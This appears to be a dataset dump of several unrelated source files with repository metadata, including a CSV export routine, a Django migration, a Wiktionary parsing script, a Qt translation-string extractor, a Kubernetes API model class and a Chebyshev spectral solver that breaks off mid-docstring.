#self.SCI_Flag_of_Ownership = self.load_validated_field(self.validated_sci_dict.get("SCI_Flag_for_ownership"))
#self.SCI_Primary_Number_Country_Dialling_Code = self.load_validated_field(self.validated_sci_dict.get("SCI_Primary_Number_Country_Dialling_Code"))
#self.SCI_Primary_Number_Telephone_Number = self.load_validated_field(self.validated_sci_dict.get("SCI_Primary_Number_Telephone_Number"))
#self.SCI_Other_Number_Country_Dialling_Code = self.load_validated_field(self.validated_sci_dict.get("SCI_Other_Number_Country_Dialling_Code"))
#self.SCI_Other_Number_Telephone_Number = self.load_validated_field(self.validated_sci_dict.get("SCI_Other_Number_Telephone_Number"))
#self.SCI_Mobile_Number_Country_Dialling_Code = self.load_validated_field(self.validated_sci_dict.get("SCI_Mobile_Number_Country_Dialling_Code"))
#self.SCI_Mobile_Number_Telephone_Number = self.load_validated_field(self.validated_sci_dict.get("SCI_Mobile_Number_Telephone_Number"))
#self.SCI_Facsimile_Country_Dialling_Code = self.load_validated_field(self.validated_sci_dict.get("SCI_Facsimile_Country_Dialling_Code"))
#self.SCI_Facsimile_Number = self.load_validated_field(self.validated_sci_dict.get("SCI_Facsimile_Number"))
#self.SCI_Email_Address = self.load_validated_field(self.validated_sci_dict.get("SCI_Email_Address"))
#self.SCI_Web_site = self.load_validated_field(self.validated_sci_dict.get("SCI_Web_site"))
self.pi_field = self.load_validated_field(self.validated_field.get("PI_Identification_Code"))
self.it_field = self.load_validated_field(self.validated_field.get("Institution_Type"))
self.in_field = self.load_validated_field(self.validated_field.get("Institution_Name"))
self.date_field = self.load_validated_field(self.validated_field.get("License_Issuing_Date")) #.replace("-", "", len(self.validated_field.get("License_Issuing_Date")))
self.date_field = self.replace_date(self.date_field)
for data in coldata:
self.writer.writerow([
self.get_data_id(),
self.value_in(smart_str(unicode(data.PI_Identification_Code)), self.pi_field, field=None),
self.value_in(smart_str(unicode(data.Institution_Type)), self.it_field),
self.value_in(smart_str(unicode(data.Institution_Name)), self.in_field),
self.value_in(smart_str(unicode(data.License_Issuing_Date.replace("-", "", len(data.License_Issuing_Date)))), self.date_field),
self.value_in(smart_str(unicode(data.pci.PCI_Building_Unit_Number)), self.PCI_Building_Unit_Number),
self.value_in(smart_str(unicode(data.pci.PCI_Building_Name)), self.PCI_Building_Name),
self.value_in(smart_str(unicode(data.pci.PCI_Floor_Number)), self.PCI_Floor_Number),
self.value_in(smart_str(unicode(data.pci.PCI_Plot_or_Street_Number)), self.PCI_Plot_or_Street_Number),
self.value_in(smart_str(unicode(data.pci.PCI_LC_or_Street_Name)), self.PCI_LC_or_Street_Name),
self.value_in(smart_str(unicode(data.pci.PCI_Parish)), self.PCI_Parish),
self.value_in(smart_str(unicode(data.pci.PCI_Suburb)), self.PCI_Suburb),
self.value_in(smart_str(unicode(data.pci.PCI_Village)), self.PCI_Village),
self.value_in(smart_str(unicode(data.pci.PCI_County_or_Town)), self.PCI_County_or_Town),
self.value_in(smart_str(unicode(data.pci.PCI_District)), self.PCI_District),
self.value_in(smart_str(unicode(data.pci.PCI_Region)), self.PCI_Region),
self.value_in(smart_str(unicode(data.pci.PCI_PO_Box_Number)), self.PCI_PO_Box_Number),
self.value_in(smart_str(unicode(data.pci.PCI_Post_Office_Town)), self.PCI_Post_Office_Town),
self.value_in(smart_str(unicode(data.pci.PCI_Country_Code)), self.PCI_Country_Code),
self.value_in(smart_str(unicode(data.pci.PCI_Period_At_Address)), self.PCI_Period_At_Address),
self.value_in(smart_str(unicode(data.pci.PCI_Flag_of_Ownership)), self.PCI_Flag_of_Ownership),
#self.value_in(smart_str(unicode(data.pci.PCI_Primary_Number_Country_Dialling_Code)), self.PCI_Primary_Number_Country_Dialling_Code),
self.value_in(smart_str(unicode(data.pci.PCI_Primary_Number_Telephone_Number)), self.PCI_Primary_Number_Telephone_Number),
#self.value_in(smart_str(unicode(data.pci.PCI_Other_Number_Country_Dialling_Code)), self.PCI_Other_Number_Country_Dialling_Code),
self.value_in(smart_str(unicode(data.pci.PCI_Other_Number_Telephone_Number)), self.PCI_Other_Number_Telephone_Number),
#self.value_in(smart_str(unicode(data.pci.PCI_Mobile_Number_Country_Dialling_Code)), self.PCI_Mobile_Number_Country_Dialling_Code),
self.value_in(smart_str(unicode(data.pci.PCI_Mobile_Number_Telephone_Number)), self.PCI_Mobile_Number_Telephone_Number),
#self.value_in(smart_str(unicode(data.pci.PCI_Facsimile_Country_Dialling_Code)), self.PCI_Facsimile_Country_Dialling_Code),
self.value_in(smart_str(unicode(data.pci.PCI_Facsimile_Number)), self.PCI_Facsimile_Number),
self.value_in(smart_str(unicode(data.pci.PCI_Email_Address)), self.PCI_Email_Address),
self.value_in(smart_str(unicode(data.pci.PCI_Web_site)), self.PCI_Web_site),
#'''
#self.value_in(smart_str(unicode(data.sci.SCI_Unit_Number)), self.SCI_Unit_Number),
#self.value_in(smart_str(unicode(data.sci.SCI_Unit_Name)), self.SCI_Unit_Name),
#self.value_in(smart_str(unicode(data.sci.SCI_Floor_Number)), self.SCI_Floor_Number),
#self.value_in(smart_str(unicode(data.sci.SCI_Plot_or_Street_Number)), self.SCI_Plot_or_Street_Number),
#self.value_in(smart_str(unicode(data.sci.SCI_LC_or_Street_Name)), self.SCI_LC_or_Street_Name),
#self.value_in(smart_str(unicode(data.sci.SCI_Parish)), self.SCI_Parish),
#self.value_in(smart_str(unicode(data.sci.SCI_Suburb)), self.SCI_Suburb),
#self.value_in(smart_str(unicode(data.sci.SCI_Village)), self.SCI_Village),
#self.value_in(smart_str(unicode(data.sci.SCI_County_or_Town)), self.SCI_County_or_Town),
#self.value_in(smart_str(unicode(data.sci.SCI_District)), self.SCI_District),
#self.value_in(smart_str(unicode(data.sci.SCI_Region)), self.SCI_Region),
#self.value_in(smart_str(unicode(data.sci.SCI_PO_Box_Number)), self.SCI_PO_Box_Number),
#self.value_in(smart_str(unicode(data.sci.SCI_Post_Office_Town)), self.SCI_Post_Office_Town),
#self.value_in(smart_str(unicode(data.sci.SCI_Country_Code)), self.SCI_Country_Code),
#self.value_in(smart_str(unicode(data.sci.SCI_Period_At_Address)), self.SCI_Period_At_Address),
#self.value_in(smart_str(unicode(data.sci.SCI_Flag_for_ownership)), self.SCI_Flag_of_Ownership),
#self.value_in(smart_str(unicode(data.sci.SCI_Primary_Number_Country_Dialling_Code)), self.SCI_Primary_Number_Country_Dialling_Code),
#self.value_in(smart_str(unicode(data.sci.SCI_Primary_Number_Telephone_Number)), self.SCI_Primary_Number_Telephone_Number),
#self.value_in(smart_str(unicode(data.sci.SCI_Other_Number_Country_Dialling_Code)), self.SCI_Other_Number_Country_Dialling_Code),
#self.value_in(smart_str(unicode(data.sci.SCI_Other_Number_Telephone_Number)), self.SCI_Other_Number_Telephone_Number),
#self.value_in(smart_str(unicode(data.sci.SCI_Mobile_Number_Country_Dialling_Code)), self.SCI_Mobile_Number_Country_Dialling_Code),
#self.value_in(smart_str(unicode(data.sci.SCI_Mobile_Number_Telephone_Number)), self.SCI_Mobile_Number_Telephone_Number),
#self.value_in(smart_str(unicode(data.sci.SCI_Facsimile_Country_Dialling_Code)), self.SCI_Facsimile_Country_Dialling_Code),
#self.value_in(smart_str(unicode(data.sci.SCI_Facsimile_Number)), self.SCI_Facsimile_Number),
#self.value_in(smart_str(unicode(data.sci.SCI_Email_Address)), self.SCI_Email_Address),
#self.value_in(smart_str(unicode(data.sci.SCI_Web_site)), self.SCI_Web_site)
#'''
])
return self.response
except:
raise
def load_validated_field(self, field):
self.appendlist = []
#print "FIELD ", field
for f in validationstatus.validation_status(field):
self.appendlist.append(f)
return self.appendlist
def validate_and_return(self, module):
try:
self.validator = module.begin_validation()
return module.get_real_dict()
except:
raise
def value_in(self, data, l, field=None):
self.failed = 0
if(data in l):
return data
else:
pass
def replace_date(self, d):
self.date_dict = []
for date in d:
self.date_dict.append(str(date).replace("-", "", len(str(date))))
return self.date_dict
class ProcessCSVPI(processcsvs.ProcessCSV):
def __init__(self, filename, dialect, row, headers, delimiter="|",response=None):
super(ProcessCSVPI, self).__init__(filename, dialect,delimiter=delimiter,response=response)
self.delimiter = delimiter
#print "DELIMTER ", self.delimiter
self.row = row
if(headers):
self.write_headers(headers)
def write_row_data(self, coldata):
try:
for data in coldata:
#print "Writing rows"
self.writer.writerow([
self.get_data_id(),
smart_str(unicode(data.PI_Identification_Code)),
smart_str(unicode(data.Institution_Type)),
smart_str(unicode(data.Institution_Name)),
smart_str(unicode(data.License_Issuing_Date.replace("-", "", len(data.License_Issuing_Date)))),
smart_str(unicode(data.pci.PCI_Building_Unit_Number)),
smart_str(unicode(data.pci.PCI_Building_Name)),
smart_str(unicode(data.pci.PCI_Floor_Number)),
smart_str(unicode(data.pci.PCI_Plot_or_Street_Number)),
smart_str(unicode(data.pci.PCI_LC_or_Street_Name)),
smart_str(unicode(data.pci.PCI_Parish)),
smart_str(unicode(data.pci.PCI_Suburb)),
smart_str(unicode(data.pci.PCI_Village)),
smart_str(unicode(data.pci.PCI_County_or_Town)),
smart_str(unicode(data.pci.PCI_District)),
smart_str(unicode(data.pci.PCI_Region)),
smart_str(unicode(data.pci.PCI_PO_Box_Number)),
smart_str(unicode(data.pci.PCI_Post_Office_Town)),
smart_str(unicode(data.pci.PCI_Country_Code)),
smart_str(unicode(data.pci.PCI_Period_At_Address)),
smart_str(unicode(data.pci.PCI_Flag_of_Ownership)),
#smart_str(unicode(data.pci.PCI_Primary_Number_Country_Dialling_Code)),
smart_str(unicode(data.pci.PCI_Primary_Number_Telephone_Number)),
#smart_str(unicode(data.pci.PCI_Other_Number_Country_Dialling_Code)),
smart_str(unicode(data.pci.PCI_Other_Number_Telephone_Number)),
#smart_str(unicode(data.pci.PCI_Mobile_Number_Country_Dialling_Code)),
smart_str(unicode(data.pci.PCI_Mobile_Number_Telephone_Number)),
#smart_str(unicode(data.pci.PCI_Facsimile_Country_Dialling_Code)),
smart_str(unicode(data.pci.PCI_Facsimile_Number)),
smart_str(unicode(data.pci.PCI_Email_Address)),
smart_str(unicode(data.pci.PCI_Web_site)),
#'''
#smart_str(unicode(data.sci.SCI_Unit_Number)),
#smart_str(unicode(data.sci.SCI_Unit_Name)),
#smart_str(unicode(data.sci.SCI_Floor_Number)),
#smart_str(unicode(data.sci.SCI_Plot_or_Street_Number)),
#smart_str(unicode(data.sci.SCI_LC_or_Street_Name)),
#smart_str(unicode(data.sci.SCI_Parish)),
#smart_str(unicode(data.sci.SCI_Suburb)),
#smart_str(unicode(data.sci.SCI_Village)),
#smart_str(unicode(data.sci.SCI_County_or_Town)),
#smart_str(unicode(data.sci.SCI_District)),
#smart_str(unicode(data.sci.SCI_Region)),
#smart_str(unicode(data.sci.SCI_PO_Box_Number)),
#smart_str(unicode(data.sci.SCI_Post_Office_Town)),
#smart_str(unicode(data.sci.SCI_Country_Code)),
#smart_str(unicode(data.sci.SCI_Period_At_Address)),
#smart_str(unicode(data.sci.SCI_Flag_for_ownership)),
#smart_str(unicode(data.sci.SCI_Primary_Number_Country_Dialling_Code)),
#mart_str(unicode(data.sci.SCI_Primary_Number_Telephone_Number)),
#smart_str(unicode(data.sci.SCI_Other_Number_Country_Dialling_Code)),
#smart_str(unicode(data.sci.SCI_Other_Number_Telephone_Number)),
#smart_str(unicode(data.sci.SCI_Mobile_Number_Country_Dialling_Code)),
#smart_str(unicode(data.sci.SCI_Mobile_Number_Telephone_Number)),
#smart_str(unicode(data.sci.SCI_Facsimile_Country_Dialling_Code)),
#smart_str(unicode(data.sci.SCI_Facsimile_Number)),
#smart_str(unicode(data.sci.SCI_Email_Address)),
#smart_str(unicode(data.sci.SCI_Web_site))
#'''
])
return self.response
except:
raise
| [
"[email protected]"
] | |
375a018c63de5a9df57f07c26829657f66bcfbeb | c369443df5ff98eccc0eee7f63bb8947f2943605 | /shop/migrations/0002_product_photo.py | 6f674858a235d0794a6b5cc89516d04cb88266a3 | [] | no_license | erllan/shop-test | d2934f484b25d141a60caa5aca31a61eec48f055 | 1f77de177192ce6a1f8c5ccf1d7ca93ec026acf5 | refs/heads/master | 2023-03-06T01:04:38.785383 | 2021-02-27T18:02:07 | 2021-02-27T18:02:07 | 341,929,117 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 408 | py | # Generated by Django 3.1.7 on 2021-02-26 11:11
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('shop', '0001_initial'),
]
operations = [
migrations.AddField(
model_name='product',
name='photo',
field=models.ImageField(default='static/image', upload_to='product/photo/'),
),
]
| [
"[email protected]"
] | |
22a186c790c53f60967d236882877184068afc26 | e199c0648ee56c84d421bb47b2b5c163a1bd4cf1 | /prep/prep_wiktionary.py | 70fb588952e6e9f0cbea315305346013b12561da | [
"MIT"
] | permissive | inoue0406/VocabularyPF | 72a3abea4b920c7959997198ef02374e5d16782a | 077300f82ef358ceb77e80f79ecb66f8124efbf6 | refs/heads/main | 2023-06-23T00:56:46.477992 | 2021-07-23T15:38:05 | 2021-07-23T15:38:05 | 365,765,325 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,143 | py | # prep for wiktionary data
import json
import pandas as pd
#import wiktextract
def extract_pronunciation(sounds):
# Extract American Pronunciation
#list_country = ["General American","Received Pronunciation","US","UK"]
ipa = ""
for i in range(len(sounds)):
if "ipa" in sounds[i].keys():
#if "tags" in sounds[i].keys() and "ipa" in sounds[i].keys():
#if sounds[i]['tags'][0] in list_country:
ipa = ipa + sounds[i]['ipa']
return ipa
if __name__ == '__main__':
# Inputs
# 1: Wiktionary dump file
fjson = "../data/Wiktionary/kaikki.org-dictionary-English.json"
# 2: word list (NGSL)
df_words = pd.read_csv('../data/NGSL_Word_Freq_list.csv')
# Outputs
fcsv = open('../data/out_wordlist_NGSL_Wiktionary.csv', 'w', encoding='utf-8')
print("word,sound,sense",file=fcsv)
with open(fjson, "r") as f:
count = 0
for line in f:
data = json.loads(line)
# extract data
if "word" in data.keys():
word = data['word']
if word == "pyre":
#import pdb;pdb.set_trace()
pass
# if contained in NGSL list
if sum(df_words["Lemma"] == word)==0:
print(word,"not contained in NGSL. Skip.")
continue
print("processing word:",word)
if "sounds" in data.keys():
sound =extract_pronunciation(data["sounds"])
else:
sound = ""
if "senses" in data.keys():
if "glosses" in data['senses'][0]:
sense = data['senses'][0]['glosses'][0]
else:
sense = "NA"
else:
sense = "NA"
#import pdb;pdb.set_trace()
print("%s,%s,'%s'" % (word,sound,sense),file=fcsv)
#lst.append(data)
count = count + 1
#if count > 100:
| [
"[email protected]"
] | |
de8792347405aadd837977316f12004147297193 | 8ed1430279ae52fd950dd0afe88549a100001e26 | /share/qt/extract_strings_qt.py | fefe2a907b40cfcfc4faa38e5f166048293fadca | [
"MIT"
] | permissive | mirzaei-ce/core-najafbit | 9fb70dbd4e17ec1635d7b886db17f8aab3f592bb | 6de34210a9ba9cc3f21fee631bc1a1f4d12d445d | refs/heads/master | 2021-08-11T08:53:58.165742 | 2017-11-13T13:00:14 | 2017-11-13T13:00:14 | 110,548,740 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,876 | py | #!/usr/bin/python
'''
Extract _("...") strings for translation and convert to Qt4 stringdefs so that
they can be picked up by Qt linguist.
'''
from subprocess import Popen, PIPE
import glob
import operator
import os
import sys
OUT_CPP="qt/najafbitstrings.cpp"
EMPTY=['""']
def parse_po(text):
"""
Parse 'po' format produced by xgettext.
Return a list of (msgid,msgstr) tuples.
"""
messages = []
msgid = []
msgstr = []
in_msgid = False
in_msgstr = False
for line in text.split('\n'):
line = line.rstrip('\r')
if line.startswith('msgid '):
if in_msgstr:
messages.append((msgid, msgstr))
in_msgstr = False
# message start
in_msgid = True
msgid = [line[6:]]
elif line.startswith('msgstr '):
in_msgid = False
in_msgstr = True
msgstr = [line[7:]]
elif line.startswith('"'):
if in_msgid:
msgid.append(line)
if in_msgstr:
msgstr.append(line)
if in_msgstr:
messages.append((msgid, msgstr))
return messages
files = sys.argv[1:]
# xgettext -n --keyword=_ $FILES
XGETTEXT=os.getenv('XGETTEXT', 'xgettext')
child = Popen([XGETTEXT,'--output=-','-n','--keyword=_'] + files, stdout=PIPE)
(out, err) = child.communicate()
messages = parse_po(out)
f = open(OUT_CPP, 'w')
f.write("""
#include <QtGlobal>
// Automatically generated by extract_strings.py
#ifdef __GNUC__
#define UNUSED __attribute__((unused))
#else
#define UNUSED
#endif
""")
f.write('static const char UNUSED *najafbit_strings[] = {\n')
messages.sort(key=operator.itemgetter(0))
for (msgid, msgstr) in messages:
if msgid != EMPTY:
f.write('QT_TRANSLATE_NOOP("najafbit-core", %s),\n' % ('\n'.join(msgid)))
f.write('};\n')
f.close()
| [
"[email protected]"
] | |
29cb92ebf6d3cf17309ccaf072ef6e2e474b7d99 | 642b7138da231474154a83c2dc3b4a2a42eb441b | /dp/largest_divisible_pairs.py | e811a9c6a31e06296c315fdc14696bec6b2b0bc9 | [] | no_license | somanshu/python-pr | 15465ed7182413591c709f9978420f6a16c9db91 | 7bfee6fc2a8340ba3e343f991a1da5bdb4ae9cb2 | refs/heads/master | 2020-07-02T17:21:37.132495 | 2019-08-22T08:04:11 | 2019-08-22T08:04:11 | 201,602,731 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 722 | py | # Largest divisible pairs subset
# Input : arr[] = {10, 5, 3, 15, 20}
# Output : 3
# Explanation: The largest subset is 10, 5, 20.
# 10 is divisible by 5, and 20 is divisible by 10.
def get_largest(arr):
n = len(arr)
arr.sort()
dp = [0 for i in range(n)]
path = [f"{arr[i]}" for i in range(n)]
dp[n-1] = 1
for i in range(n-2, -1, -1):
dp[i] = 1
for j in range(i+1, n):
if (arr[j] % arr[i] == 0):
path[i] = f"{path[i]} {path[j]}"
dp[i] += dp[j]
break
resIndex = dp.index(max(dp))
return {
"val": dp[resIndex],
"path": path[resIndex]
}
arr = [1, 3, 6, 13, 17, 18]
print(get_largest(arr))
| [
"[email protected]"
] | |
a405dd016add0a976b3d15fb2efad48e5d1bb92a | f8eefef177c4794392ddbad008a67b10e14cb357 | /common/python/ax/kubernetes/swagger_client/models/v1_fc_volume_source.py | 9d448090061f6efbde6be77d0ffdd209014b098e | [
"Apache-2.0"
] | permissive | durgeshsanagaram/argo | 8c667c7e64721f149194950f0d75b27efe091f50 | 8601d652476cd30457961aaf9feac143fd437606 | refs/heads/master | 2021-07-10T19:44:22.939557 | 2017-10-05T18:02:56 | 2017-10-05T18:02:56 | 105,924,908 | 1 | 0 | null | 2017-10-05T18:22:21 | 2017-10-05T18:22:20 | null | UTF-8 | Python | false | false | 5,718 | py | # coding: utf-8
"""
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen)
OpenAPI spec version:
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from pprint import pformat
from six import iteritems
import re
class V1FCVolumeSource(object):
"""
NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
def __init__(self, target_ww_ns=None, lun=None, fs_type=None, read_only=None):
"""
V1FCVolumeSource - a model defined in Swagger
:param dict swaggerTypes: The key is attribute name
and the value is attribute type.
:param dict attributeMap: The key is attribute name
and the value is json key in definition.
"""
self.swagger_types = {
'target_ww_ns': 'list[str]',
'lun': 'int',
'fs_type': 'str',
'read_only': 'bool'
}
self.attribute_map = {
'target_ww_ns': 'targetWWNs',
'lun': 'lun',
'fs_type': 'fsType',
'read_only': 'readOnly'
}
self._target_ww_ns = target_ww_ns
self._lun = lun
self._fs_type = fs_type
self._read_only = read_only
@property
def target_ww_ns(self):
"""
Gets the target_ww_ns of this V1FCVolumeSource.
Required: FC target worldwide names (WWNs)
:return: The target_ww_ns of this V1FCVolumeSource.
:rtype: list[str]
"""
return self._target_ww_ns
@target_ww_ns.setter
def target_ww_ns(self, target_ww_ns):
"""
Sets the target_ww_ns of this V1FCVolumeSource.
Required: FC target worldwide names (WWNs)
:param target_ww_ns: The target_ww_ns of this V1FCVolumeSource.
:type: list[str]
"""
if target_ww_ns is None:
raise ValueError("Invalid value for `target_ww_ns`, must not be `None`")
self._target_ww_ns = target_ww_ns
@property
def lun(self):
"""
Gets the lun of this V1FCVolumeSource.
Required: FC target lun number
:return: The lun of this V1FCVolumeSource.
:rtype: int
"""
return self._lun
@lun.setter
def lun(self, lun):
"""
Sets the lun of this V1FCVolumeSource.
Required: FC target lun number
:param lun: The lun of this V1FCVolumeSource.
:type: int
"""
if lun is None:
raise ValueError("Invalid value for `lun`, must not be `None`")
self._lun = lun
@property
def fs_type(self):
"""
Gets the fs_type of this V1FCVolumeSource.
Filesystem type to mount. Must be a filesystem type supported by the host operating system. Ex. \"ext4\", \"xfs\", \"ntfs\". Implicitly inferred to be \"ext4\" if unspecified.
:return: The fs_type of this V1FCVolumeSource.
:rtype: str
"""
return self._fs_type
@fs_type.setter
def fs_type(self, fs_type):
"""
Sets the fs_type of this V1FCVolumeSource.
Filesystem type to mount. Must be a filesystem type supported by the host operating system. Ex. \"ext4\", \"xfs\", \"ntfs\". Implicitly inferred to be \"ext4\" if unspecified.
:param fs_type: The fs_type of this V1FCVolumeSource.
:type: str
"""
self._fs_type = fs_type
@property
def read_only(self):
"""
Gets the read_only of this V1FCVolumeSource.
Optional: Defaults to false (read/write). ReadOnly here will force the ReadOnly setting in VolumeMounts.
:return: The read_only of this V1FCVolumeSource.
:rtype: bool
"""
return self._read_only
@read_only.setter
def read_only(self, read_only):
"""
Sets the read_only of this V1FCVolumeSource.
Optional: Defaults to false (read/write). ReadOnly here will force the ReadOnly setting in VolumeMounts.
:param read_only: The read_only of this V1FCVolumeSource.
:type: bool
"""
self._read_only = read_only
def to_dict(self):
"""
Returns the model properties as a dict
"""
result = {}
for attr, _ in iteritems(self.swagger_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
return result
def to_str(self):
"""
Returns the string representation of the model
"""
return pformat(self.to_dict())
def __repr__(self):
"""
For `print` and `pprint`
"""
return self.to_str()
def __eq__(self, other):
"""
Returns true if both objects are equal
"""
if not isinstance(other, V1FCVolumeSource):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""
Returns true if both objects are not equal
"""
return not self == other
| [
"[email protected]"
] | |
23d826c97b4d4a30fe2c6510dc0c9978e0b79394 | 39354dfc8f61f57f022522a3e3a880c73a540d0d | /shenfun/chebyshev/la.py | f8577941aefb7ad55e988810e6a6e10afd9e8f08 | [
"BSD-2-Clause"
] | permissive | mstf1985/shenfun | aab9cd416ea7cb549ef191ed9e32f4cd66d522d0 | 83a28b3f7142ef3bf60b20d707ba8c1d2f13a8ff | refs/heads/master | 2022-12-10T20:27:51.825173 | 2020-08-28T13:58:58 | 2020-08-28T13:58:58 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 21,278 | py | #pylint: disable=line-too-long, missing-docstring
from copy import copy
import numpy as np
from shenfun.optimization import optimizer
from shenfun.optimization.cython import la
from shenfun.la import TDMA as la_TDMA
from shenfun.matrixbase import TPMatrix
class TDMA(la_TDMA):
def __call__(self, b, u=None, axis=0):
if u is None:
u = b
else:
assert u.shape == b.shape
u[:] = b[:]
if not self.dd.shape[0] == self.mat.shape[0]:
self.init()
self.TDMA_SymSolve(self.dd, self.ud, self.L, u, axis=axis)
if self.mat.scale not in (1, 1.0):
u /= self.mat.scale
return u
class Helmholtz(object):
r"""Helmholtz solver
.. math::
\alpha u'' + \beta u = b
where :math:`u` is the solution, :math:`b` is the right hand side and
:math:`\alpha` and :math:`\beta` are scalars, or arrays of scalars for
a multidimensional problem.
The user must provide mass and stiffness matrices with scale arrays
:math:`(\alpha/\beta)` to each matrix. The matrices and scales can be
provided as instances of :class:`.TPMatrix`, or :class:`.SpectralMatrix`.
Parameters
----------
A : :class:`.SpectralMatrix` or :class:`.TPMatrix`
mass or stiffness matrix
B : :class:`.SpectralMatrix` or :class:`.TPMatrix`
mass or stiffness matrix
scale_A : array, optional
Scale array to stiffness matrix
scale_B : array, optional
Scale array to mass matrix
The two matrices must be one stiffness and one mass matrix. Which is which
will be found by inspection if only two arguments are provided. The scales
:math:`\alpha` and :math:`\beta` must then be available as A.scale and
B.scale.
If four arguments are provided they must be in the order
- stiffness matrix, mass matrix, scale stiffness, scale mass
Attributes
----------
axis : int
The axis over which to solve for
neumann : bool
Whether or not bases are Neumann
bc : BoundaryValues
For Dirichlet problem with inhomogeneous boundary values
Variables are extracted from the matrices
The solver can be used along any axis of a multidimensional problem. For
example, if the Chebyshev basis (Dirichlet or Neumann) is the last in a
3-dimensional TensorProductSpace, where the first two dimensions use Fourier,
then the 1D Helmholtz equation arises when one is solving the 3D Poisson
equation
.. math::
\nabla^2 u = b
With the spectral Galerkin method we multiply this equation with a test
function (:math:`v`) and integrate (weighted inner product :math:`(\cdot, \cdot)_w`)
over the domain
.. math::
(v, \nabla^2 u)_w = (v, b)_w
See :ref:`demo:poisson3d`
for details, since it is actually quite involved. But basically, one
obtains a linear algebra system to be solved along the :math:`z`-axis for
all combinations of the two Fourier indices :math:`k` and :math:`l`
.. math::
(A_{mj} - (k^2 + l^2) B_{mj}) \hat{u}[k, l, j] = (v, b)_w[k, l, m]
Note that :math:`k` only varies along :math:`x`-direction, whereas :math:`l`
varies along :math:`y`. To allow for Numpy broadcasting these two variables
are stored as arrays of shape
.. math::
k : (N, 1, 1)
l : (1, M, 1)
Here it is assumed that the solution array :math:`\hat{u}` has shape
(N, M, P). Now, multiplying k array with :math:`\hat{u}` is achieved as an
elementwise multiplication
.. math::
k \cdot \hat{u}
Numpy will then take care of broadcasting :math:`k` to an array of shape
(N, M, P) before performing the elementwise multiplication. Likewise, the
constant scale :math:`1` in front of the :math:`A_{mj}` matrix is
stored with shape (1, 1, 1), and multiplying with :math:`\hat{u}` is
performed as if it was a scalar (as it here happens to be).
This is where the scale arrays come from. :math:`\alpha` is here
:math:`1`, whereas :math:`\beta` is :math:`(k^2+l^2)`. Note that
:math:`k+l` is an array of shape (N, M, 1).
"""
def __init__(self, *args):
args = list(args)
for i, arg in enumerate(args):
if hasattr(arg, 'is_bc_matrix'):
if arg.is_bc_matrix():
# For this particular case the boundary dofs contribution
# to the right hand side is only nonzero for Fourier wavenumber
# 0, so the contribution is in effect zero
args.pop(i)
break
assert len(args) in (2, 4)
A, B = args[0], args[1]
M = {d.get_key(): d for d in (A, B)}
self.A = A = M.get('ADDmat', M.get('ANNmat'))
self.B = B = M.get('BDDmat', M.get('BNNmat'))
if len(args) == 2:
self.alfa = self.A.scale
self.beta = self.B.scale
if isinstance(self.A, TPMatrix):
self.A = self.A.pmat
self.B = self.B.pmat
self.alfa *= self.A.scale
self.beta *= self.B.scale
elif len(args) == 4:
self.alfa = args[2]
self.beta = args[3]
A, B = self.A, self.B
B[2] = np.broadcast_to(B[2], A[2].shape)
B[-2] = np.broadcast_to(B[-2], A[2].shape)
v = A.testfunction[0]
neumann = self.neumann = v.boundary_condition() == 'Neumann'
self.axis = A.axis
shape = [1]
T = A.tensorproductspace
if T is not None:
shape = list(T.shape(True))
shape[A.axis] = 1
self.alfa = np.atleast_1d(self.alfa)
self.beta = np.atleast_1d(self.beta)
if not self.alfa.shape == shape:
self.alfa = np.broadcast_to(self.alfa, shape).copy()
if not self.beta.shape == shape:
self.beta = np.broadcast_to(self.beta, shape).copy()
shape[self.axis] = A.shape[0] + 2
self.u0 = np.zeros(shape) # Diagonal entries of U
self.u1 = np.zeros(shape) # Diagonal+2 entries of U
self.u2 = np.zeros(shape) # Diagonal+4 entries of U
self.L = np.zeros(shape) # The single nonzero row of L
self.LU_Helmholtz(A, B, self.alfa, self.beta, neumann, self.u0,
self.u1, self.u2, self.L, self.axis)
@staticmethod
@optimizer
def LU_Helmholtz(A, B, As, Bs, neumann, u0, u1, u2, L, axis=0):
raise NotImplementedError
@staticmethod
@optimizer
def Solve_Helmholtz(b, u, neumann, u0, u1, u2, L, axis=0):
raise NotImplementedError
def __call__(self, u, b):
"""Solve matrix problem
Parameters
----------
b : array
Array of right hand side on entry and solution on exit unless
u is provided.
u : array
Output array
If b and u are multidimensional, then the axis over which to solve for is
determined on creation of the class.
"""
self.Solve_Helmholtz(b, u, self.neumann, self.u0, self.u1, self.u2, self.L, self.axis)
if self.A.testfunction[0].has_nonhomogeneous_bcs:
self.A.testfunction[0].bc.set_boundary_dofs(u, True)
return u
def matvec(self, v, c):
"""Matrix vector product c = dot(self, v)
Parameters
----------
v : array
c : array
Returns
-------
c : array
"""
assert self.neumann is False
c[:] = 0
self.Helmholtz_matvec(v, c, self.alfa, self.beta, self.A[0], self.A[2], self.B[0], self.axis)
return c
@staticmethod
@optimizer
def Helmholtz_matvec(v, b, alfa, beta, dd, ud, bd, axis=0):
raise NotImplementedError("Use Cython or Numba")
class Biharmonic(object):
r"""Multidimensional Biharmonic solver for
.. math::
a_0 u'''' + \alpha u'' + \beta u = b
where :math:`u` is the solution, :math:`b` is the right hand side and
:math:`a_0, \alpha` and :math:`\beta` are scalars, or arrays of scalars for
a multidimensional problem.
The user must provide mass, stiffness and biharmonic matrices with
associated scale arrays :math:`(a_0/\alpha/\beta)`. The matrices and scales
can be provided in any order
Parameters
----------
S : :class:`.TPMatrix` or :class:`.SpectralMatrix`
A : :class:`.TPMatrix` or :class:`.SpectralMatrix`
B : :class:`.TPMatrix` or :class:`.SpectralMatrix`
scale_S : array, optional
scale_A : array, optional
scale_B : array, optional
If only three arguments are passed, then we decide which matrix is which
through inspection. The three scale arrays must then be available as
S.scale, A.scale, B.scale.
